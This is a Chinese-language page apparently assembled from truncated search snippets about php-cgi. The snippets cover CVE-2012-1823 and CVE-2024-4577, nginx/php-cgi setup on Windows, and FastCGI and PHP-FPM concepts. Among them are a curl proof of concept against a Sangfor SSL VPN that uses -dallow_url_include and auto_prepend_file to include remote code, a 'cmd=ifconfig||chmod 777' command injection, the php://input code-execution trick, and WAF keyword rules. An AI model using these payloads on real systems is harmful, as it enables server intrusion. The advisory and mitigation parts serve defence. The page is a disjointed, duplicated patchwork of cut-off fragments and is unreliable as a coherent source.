CVE-2012-1823出来时据说是“PHP远程代码执行漏洞”,曾经也“轰动一时”,当时的我只是刚踏入安全门的一个小菜,直到前段时间tomato师傅让我看一个案例,我才想起来这个漏洞。...历史成因 回到本漏洞。...CVE-2012-1823就是php-cgi这个sapi出现的漏洞,我上面介绍了php-cgi提供的两种运行方式:cgi和fastcgi,本漏洞只出现在以cgi模式运行的php中。...这个漏洞简单来说,就是用户请求的querystring被作为了php-cgi的参数,最终导致了一系列结果。.../usr/local/bin/php-cgi -d include_path=/path的方式传入php-cgi,更可以通过querystring的方式传入。 这就是本漏洞的历史成因。
在上文中,我们使用了nginx + php-cgi 来配置thinkphp的运行环境,项目已成功运行,可以很开心的开发php项目了。 ?...项目运行中一旦发生异常,就会导致php-cgi停止运行;这对无论是开发中的,还是上线运行中的项目,都是一个阻碍,必须要克服; 对于php.ini修改无法平滑重启,每次修改php配置,都得重启php-cgi...; 解决方案 如果把nginx 和 php-cgi注册为windows系统服务,设置开机启动;这样nginx和php-cgi便能作为系统服务,持续运行,并且在开机时就能随系统一起启动;然后在windows...任务管理器中就能对nginx 服务和php-cgi服务进行管理。...注册php-cgi服务 注册php-cgi服务不仅需要WinSW.exe的支持,还需要xxfpm的支持。
在上文中,我们使用了nginx + php-cgi 来配置thinkphp的运行环境,项目已成功运行,可以很开心的开发php项目了。...项目运行中一旦发生异常,就会导致php-cgi停止运行;这对无论是开发中的,还是上线运行中的项目,都是一个阻碍,必须要克服; 对于php.ini修改无法平滑重启,每次修改php配置,都得重启php-cgi...; 解决方案 如果把nginx 和 php-cgi注册为windows系统服务,设置开机启动;这样nginx和php-cgi便能作为系统服务,持续运行,并且在开机时就能随系统一起启动;然后在windows...任务管理器中就能对nginx 服务和php-cgi服务进行管理。...注册php-cgi服务 注册php-cgi服务不仅需要WinSW.exe的支持,还需要xxfpm的支持。
一、PhpStorm的 php-cgi not found问题(设置php Interpreter) 很好用,具体的安装以及使用,网上已经有了很多教程。...最后的php-cgi的目录,设置好Interpreter就ok了。 image.png php-cgi目录.png
PHP-FPM && PHP-CGI && FASTCGI CGI 早期的Web服务器,只能响应浏览器发来的HTTP静态资源的请求,并将存储在服务器中的静态资源返回给浏览器。...PHP-CGI PHP-CGI和上面的PHP-FPM差不多,不过不同在于PHP-FPM解析的是fastcgi协议而PHP-CGI解析的是cgi协议 一些PHP-FPM漏洞 还有一些PHP-FPM的漏洞在...WHOAMI大佬的文章浅入深出 Fastcgi 协议分析与 PHP-FPM 攻击方法都有讲到使用方法,以下是文章中收集的内容目录 PHP-FPM 未授权访问漏洞 SSRF 中对 FPM/FastCGI
/ 接下来看看漏洞的详情 漏洞描述 CVE-2024-4577导致漏洞产生的本质其实是Windows系统内字符编码转换的Best-Fit特性导致的,相对来说PHP在这个漏洞里更像是一个受害者。...漏洞利用条件 Windows系统内字符编码转换的Best-Fit特性 前面提到过,这个漏洞的利用前提是由于Windows系统内字符编码转换的Best-Fit特性,所以第一个前提条件就是 必须是Window.../php-cgi -d option=value`....结合上面的特性,你可以通过传%ad来传入一个-,这样在-之后的部分就会成为php-cgi的参数,构成参数注入。...的,我们把视角还是回到php-cgi上。
我是一名Java Coder,本该灿烂过一生 但不幸碰到了PHP-CGI 这玩意在Windows环境下,自觉地闪退 导致我的网站无法访问、崩溃 这个行为,非常的不好 所以,今天,必须盘他 本来想简单的做一下...正文 首先,我们要知道什么是php-cgi? php-cgi 只是解释PHP脚本的程序而已,这玩意,在windows环境下,自动闪退,很恶心是吧! 这话怎么理解?...就是从实际操作理解吧:nginx无法解析.php后缀的文件,怎么办,就需要能解析.php的软件来解析呗,这个php-cgi就是这个作用!...执行.bat 先停止名为nginx和php-cgi的进程,然后在执行.bat启动nginx+php+cgi 更加专业的解决办法 想象,确实可以实现对吧,但是暂时一名Java Coder,还是要“入乡随俗
2024年6月6日,PHP官方发布新版本(8.3.8、8.2.20、8.1.29)中修复 CVE-2024-4577 PHP CGI Windows平台远程代码执行漏洞。...该漏洞可以在Windows平台下使用PHP-CGI模式运行,并在使用语系为繁体中文950、日文932、简体中文936的环境下导致远程任意代码执行。...经知道创宇404实验室测试发现,目前大部分的互联网,大部分PHP环境默认不再使用PHP-CGI模式,影响面有限。...由此建议相关XAMMP环境引起重视,注意安全防御,目前知道创宇旗下云防御产品创宇盾无需升级即可防御该漏洞。...8.1.25 and 8.0.30 建议XAMPP Windows用户手动修复该问题: C:/xampp/apache/conf/extra/httpd-xampp.conf 找到 ScriptAlias /php-cgi
根据研究人员的介绍,这种病毒利用php-cgi上的一个漏洞进行传播,这个php-cgi组件的功能是允许PHP代码在通用网关接口(CGI)的配置环境下被执行。...此漏洞的编号为CNNVD-201205-108(通过这个漏洞,攻击者可以远程执行任意代码,所以这种漏洞又叫“远程任意代码执行漏洞”)。...2012年5月份,PHP 5.4.3和PHP5.3.13这两个版本已经打上补丁修复了这个漏洞。...利用目标计算机的漏洞,为对其进行攻击而设计的代码称为exploit,而一个没有充分利用漏洞的exploit,就是PoC)。...在防火墙或任何独立的设备,都要屏蔽任何对-/cgi-bin/php, -/cgi-bin/php5, -/cgi-bin/php-cgi, -/cgi-bin/php.cgiand -/cgi-bin/
Cgi,它可以一直执行这,只要激活后,不需要每次去fork一次,还支持分布式运算,即FastCgi程序可以在网站服务器以外的主机上执行并且接受来自其他网站服务器的请求 可以同时处理多个请求 长期占用内存 php-cgi...php官方自带的FastCGI 进程管理器 php.ini修改之后,必须kill掉php-cgi再启动php.ini 才生效。...都打不开链接了 我的理解是,web服务器启动,自动启动fastCgi模块 并且长期驻留在内存里, 用户访问 fastCgi程序,开启的fastCgi模块 ,直接处理请求,并返回结果. php-cgi 启动...php,指定启动的worker ,长期驻留在内存里 ,用户访问php文件, php-cgi 处理请求,返回结果 php-fpm 启动php,动态指定启动的worker ,长期驻留在内存里 ,根据来访压力动态增减...php-fpm 处理请求,返回结果 关系 cgi是最初始的网关接口,随着互联网的发展,大量的请求,衍生而来很多的问题,fastCgi开始出现了,取代了cgi技术 php是动态脚本语言 , php5.3以前 用php-cgi
今天网传一个 PHP-CGI 的 0day(CVE-2024-4577),复现截图: 看到这里感觉危害很严重,但是,莫慌,实际影响面非常小,这个漏洞是 CVE-2012-1823 变种,参考: https...ref=labs.watchtowr.com 关于这个漏洞的详情可以参考: https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577...123 总结一下: 1、该漏洞仅影响 PHP 的 CGI 模式,仅限 XAMPP 部署,Windows 环境下,且 PHP 版本满足(8.3-8.3.8、8.1-8.1.29、8.2-8.2.20) 2...、漏洞成因是参数在进行编码转换时未能正确处理导致 3、互联网测绘 2000 目标,未发现一例存在漏洞的资产(影响面极小) 来自各大厂商的防御策略(任意一条均可): 1、升级 PHP 版本至安全版本(8.3.8...) 2、设置 WAF 规则,拦截 %ad、allow_url_include、auto_prepend_file 等关键词 3、关闭 PHP-CGI 的使用 信安之路推出一个新的平台将指纹与 POC 关联
Web server将CGI环境变量和标准输入发送到FastCGI子进程php-cgi。 FastCGI子进程完成处理后将标准输出和错误信息从同一连接返回Web Server。...FastCGI的不足 因为是多进程,所以比CGI多线程消耗更多的服务器内存,PHP-CGI解释器每进程消耗7至25兆内存,将这个数字乘以50或100就是很大的内存数。...如果服务器内存较小,完全可以只开启25 个php-cgi进程,这样php-cgi消耗的总内存数才500M。...上面的数据摘自Nginx 0.8.x + PHP 5.2.13(FastCGI)搭建胜过Apache十倍的Web服务器(第6版) PHP-CGI PHP-CGI是PHP自带的FastCGI管理器。...PHP-CGI的不足: php-cgi变更php.ini配置后需重启php-cgi才能让新的php-ini生效,不可以平滑重启。 直接杀死php-cgi进程,php就不能运行了。
如果服务器内存较小,完全可以只开启25个php-cgi进程,这样php-cgi消耗的总内存数才500M。...PHP-CGI是PHP自带的PHP FastCGI管理器。...启动PHP-CGI,使用如下命令: php-cgi -b 127.0.0.1:9000 PHP-CGI的不足 php-cgi变更php.ini配置后需重启php-cgi才能让新的php-ini生效,不可以平滑重启...直接杀死php-cgi进程,php就不能运行了。.../usr/bin/php-cgi 这两个都是php-FastCGI的管理器,可以看出这两个的路径不一样,php-cgi是PHP出的一个管理器,很烂,php-fpm是专门开发出的一个管理器,功能齐全而且强大
FastCGI的不足 因为是多进程,所以比CGI多线程消耗更多的服务器内存,PHP-CGI解释器每进程消耗7至25兆内存,将这个数字乘以50或100就是很大的内存数。...如果服务器内存较小,完全可以只开启25个php-cgi进程,这样php-cgi消耗的总内存数才500M。...上面的数据摘自Nginx 0.8.x + PHP 5.2.13(FastCGI)搭建胜过Apache十倍的Web服务器(第6版) 什么是PHP-CGI PHP-CGI是PHP自带的FastCGI...管理器 PHP-CGI的不足 1、php-cgi变更php.ini配置后需重启php-cgi才能让新的php-ini生效,不可以平滑重启 2、直接杀死php-cgi进程,php就不能运行了。...转载请注明来源:什么是CGI、FastCGI、PHP-CGI、PHP-FPM、Spawn-FCGI?
漏洞(邮件服务器配置) (4)-权限绕过 SSL-V**版本查看: POST /por/login_auth.csp?...> 利用POC: curl http://**.**.**.**:1000/cgi-bin/php-cgi/html/svpn.php -d 'cmd=phpinfo(); /cgi-bin/php-cgi...-dallow_url_include=On -dauto_prepend_file=http:// #有 php-cgi 代码远程执行漏洞 http://SSLVPN.SANGFOR.COM:1000.../cgi-bin/php-cgi/html/daemon/tsproxy.php?...cmd=ifconfig||chmod 777 /app/usr/sbin/webui/html/svpn.php WeiyiGeek.远程代码执行 3.Getshell漏洞(邮件服务器配置) 漏洞利用前提
这就有点不对劲,这台服务器的内核进程也就80个左右,加上memcached, nginx, mysqld,也不会超出90个,除了这些,剩下的只有php-fpm管理的php-cgi了。...4--再看php-cgi,单个php-cgi占用的内存也不算多。 所以,可以大胆地猜想:服务器内存资源比较紧张,并没有被某个进程占用大量内存,有可能被某些挂起的进程占着内存没有释放。...从上面报告结果中可以一眼看到php-cgi这个进程。虽然单个php-cgi占用内存并不算太大,但是503个php-cgi进程,就有点恐怖了。几乎占尽了全部内存(503*0.3%)。...php-cgi由php-fpm管理,因此可以断定,是由于php-fpm配置文件php.ini中的max_children参数配置不当,才导致打开过多的php-cgi进程。
本地开发系统使用的是windows系统下,配置的 nginx+php,在使用过程中总是出现崩溃现象,网上搜解决办法时,很多网友说是PHP-CGI 进程崩溃 造成的,当 php-cgi 处理php 达到500...其中用到了RunHiddenConsole ,需要单独进行下载:https://github.com/wenshui2008/RunHiddenConsole,-n 3 就是启动的进程数-p 20056 是php-cgi...运行后会出现15个进程(3*5个PHP版本)上面说 当 php-cgi 处理 php 达到500次,就自动关闭,特意做了一下测试,前500次返回200,第501次时返回了 502。
Web server将CGI环境变量和标准输入发送到FastCGI子进程php-cgi。 FastCGI子进程完成处理后将标准输出和错误信息从同一连接返回Web Server。...在CGI模式中,php-cgi在此便退出了。 在上述情况中,你可以想象CGI通常有多慢。每一个Web请求PHP都必须重新解析php.ini、重新载入全部扩展并重初始化全部数据结构。...FastCGI的不足 因为是多进程,所以比CGI多线程消耗更多的服务器内存,PHP-CGI解释器每进程消耗7至25兆内存,将这个数字乘以50或100就是很大的内存数。...什么是PHP-CGI PHP-CGI是PHP自带的FastCGI管理器 PHP-CGI的不足 php-cgi变更php.ini配置后需重启php-cgi才能让新的php-ini生效,不可以平滑重启 直接杀死...php-cgi进程,php就不能运行了。
参数注入漏洞是指,在执行命令的时候,用户控制了命令中的某个参数,并通过一些危险的参数功能,达成攻击的目的。...0x01 从gitlist 0.6.0远程命令执行漏洞说起 我们从gitlist说起,gitlist是一款使用PHP开发的图形化git仓库查看工具。...而在内核中,这个字符串将被直接作为一条shell命令来调用,这种情况下就极为容易出现命令注入漏洞。...另一个典型的例子是php-cgi CVE-2012-1823 ,在cgi模式中,用户传入的querystring将作为cgi的参数传给php-cgi命令。...而php-cgi命令可以用-d参数指定配置项,我们通过指定auto_prepend_file=php://input,最终导致任意代码执行。
领取专属 10元无门槛券
手把手带您无忧上云